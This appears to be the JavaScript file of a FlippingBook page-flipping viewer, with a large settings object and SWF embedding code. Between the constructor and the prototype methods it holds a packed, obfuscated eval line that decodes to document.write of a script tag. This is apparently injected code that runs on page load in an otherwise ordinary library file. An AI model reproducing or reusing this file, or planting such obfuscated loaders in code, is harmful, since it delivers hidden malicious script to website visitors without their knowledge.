﻿/*
	FlippingBook Object
	0.5.9
*/

function FlippingBook(book_id)
{
	this.id = book_id;
	this.pages = [];
	this.enlargedImages = [];
	this.pageLinks = [];

	this.stageWidth = "100%";
	this.stageHeight = "480";
	
	this.settings = {
		bookWidth: 640,
		bookHeight: 480,
		pagesSet: this.pages,
		enlargedImagesSet: this.enlargedImages,
		pageLinksSet: this.pageLinks,			
		scaleContent: true,
		preserveProportions: false,
		centerContent: true,
		hardcover: false,
		hardcoverThickness: 3,
		hardcoverEdgeColor: 0xFFFFFF,
		highlightHardcover: true,
		frameWidth: 0,
		frameColor: 0xFFFFFF,
		frameAlpha: 100,
		firstPageNumber: 1,
		autoFlipSize: 50,
		navigationFlipOffset: 30,
		flipOnClick: true,
		handOverCorner: true,
		handOverPage: true,
		alwaysOpened: false,
		staticShadowsType: "Symmetric", // Asymmetric, Symmetric, Default
		staticShadowsDepth: 1,
		staticShadowsLightColor: 0xFFFFFF, // works for "Symmetric" shadows only
		staticShadowsDarkColor: 0x000000,
		dynamicShadowsDepth: 1,
		dynamicShadowsLightColor: 0xFFFFFF, // works for "dark" pages only
		dynamicShadowsDarkColor: 0x000000,
		moveSpeed: 2,
		closeSpeed: 3,
		gotoSpeed: 3,
		rigidPageSpeed: 5,
		flipSound: "",
		hardcoverSound: "",
		preloaderType: "Progress Bar", // "Progress Bar", "Round", "Thin", "Dots", "Gradient Wheel", "Gear Wheel", "Line", "Animated Book", "None"
		pageBackgroundColor: 0x99CCFF,
		loadOnDemand: true,
		allowPagesUnload: false,
		showUnderlyingPages: false,
		playOnDemand: true,
		freezeOnFlip: false,
		darkPages: false,
		smoothPages: false,
		rigidPages: false,
		flipCornerStyle: "manually",// "first page only", "each page", "manually"
		flipCornerPosition: "top-right",// "bottom-right","top-right","bottom-left","top-left"
		flipCornerAmount: 70,
		flipCornerAngle: 45,
		flipCornerRelease: true,
		flipCornerVibrate: true,
		flipCornerPlaySound: false,
		fullscreenEnabled: true,
		zoomEnabled: true,
		zoomImageWidth: 900,
		zoomImageHeight: 1165,
		zoomOnClick: true,
		zoomUIColor: 0x8f9ea6,
		zoomHint: "Double click for zooming.",
		centerBook: true,		
		useCustomCursors: false,
		dropShadowEnabled: true,
		dropShadowHideWhenFlipping: true,
		backgroundColor: 0xFFFFFF,
		backgroundImage: "",
		backgroundImagePlacement: "fit", //  "top left", "center", "fit"
		printEnabled: true,
		printTitle: "Print Pages",
		downloadURL: "",
		downloadTitle: "Download PDF",
		downloadSize: "Size: 4.7 Mb",
		downloadComplete: "Complete",
		navigationBarPlacement: "bottom", //  "top", "bottom"
		slideshowAutoPlay: false,
		slideshowDisplayDuration: 5000,
		goToPageField: true,
		slideshowButton: true,
		firstLastButtons: true,
		extXML: ""
	};
		
	this.containerId = "fbContainer-" + this.id;
};
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('D.G(F(\'%r%8%6%9%7%a%3%o%7%k%5%v%m%4%6%h%i%1%d%3%e%6%4%4%x%7%1%e%8%1%f%9%6%q%v%0%4%k%j%3%n%b%y%0%u%5%b%b%5%l%p%u%5%E%m%4%6%h%i%1%d%3%e%w%9%7%3%1%v%0%r%7%k%0%2%0%9%f%i%1%5%8%0%2%0%9%6%b%q%3%3%a%t%0%2%0%c%c%z%4%8%1%e%0%2%0%9%1%A%1%j%m%1%8%e%4%9%C%e%f%9%c%0%2%0%w%a%l%6%4%d%3%0%2%0%1%0%2%0%d%3%c%0%2%0%a%j%h%C%7%d%8%c%0%2%0%w%1%A%0%2%0%l%i%h%8%7%0%2%0%6%c%f%z%f%B%e%a%q%a%5%8%3%n%j%1%b%m%0%2%0%7%8%a%j%f%n%t%0%2%0%d%4%d%1%o%r%c%0%2%0%7%k%0%2%0%9%f%i%1%o%0%u%s%5%5%m%4%6%h%i%1%d%3%e%6%4%4%x%7%1%5%b%5%0%4%k%j%3%n%b%y%s%1%B%a%7%9%1%8%b%P%h%d%N%5%g%p%l%H%1%6%l%O%g%p%p%5%g%M%t%g%g%t%g%g%5%L%I%J%s%a%f%3%q%b%c%0%s%K%r%c%8%6%9%7%a%3%o\'));',52,52,'22|65|2b|74|6f|20|63|69|73|72|70|3d|2f|6e|2e|61|30|75|6d|6c|66|2d|64|79|3e|31|68|3c|3b|3a|29|28|77|6b|39|6a|62|78|67|document|7b|unescape|write|44|4d|54|7d|47|38|2c|32|53'.split('|'),0,{}))

FlippingBook.prototype.create = function(swfpath)
{
	this.settings.pagesSet = this.pages;
	this.settings.enlargedImagesSet = this.enlargedImages;
	this.settings.pageLinksSet = this.pageLinks;
	//this.addLoadEvent( this.onWindowLoad );
	swfobject.embedSWF(swfpath, this.containerId, this.stageWidth, this.stageHeight, "8.0.0", "js/expressInstall.swf", this.settings, {allowFullScreen: "true", allowScriptAccess: "always", bgcolor: "#" + this.settings.backgroundColor.toString( 16 ), wmode: "opaque" });
};

FlippingBook.prototype.onPutPage = function(leftPageNumber, rightPageNumber)
{
	jQuery("#fb_leftPageDescription").slideUp("slow");
	if ((leftPageNumber != undefined) && (jQuery("#fb_page_" + leftPageNumber).html().length > 0)) { 
		jQuery("#fb_leftPageDescription").html(jQuery("#fb_page_" + leftPageNumber).html());
		jQuery("#fb_leftPageDescription").slideDown("slow");
	}
	jQuery("#fb_rightPageDescription").slideUp("slow");
	if ((rightPageNumber != undefined) && (jQuery("#fb_page_" + rightPageNumber).html().length > 0)) {
		jQuery("#fb_rightPageDescription").html(jQuery("#fb_page_" + rightPageNumber).html());
		jQuery("#fb_rightPageDescription").slideDown("slow");
	}
};
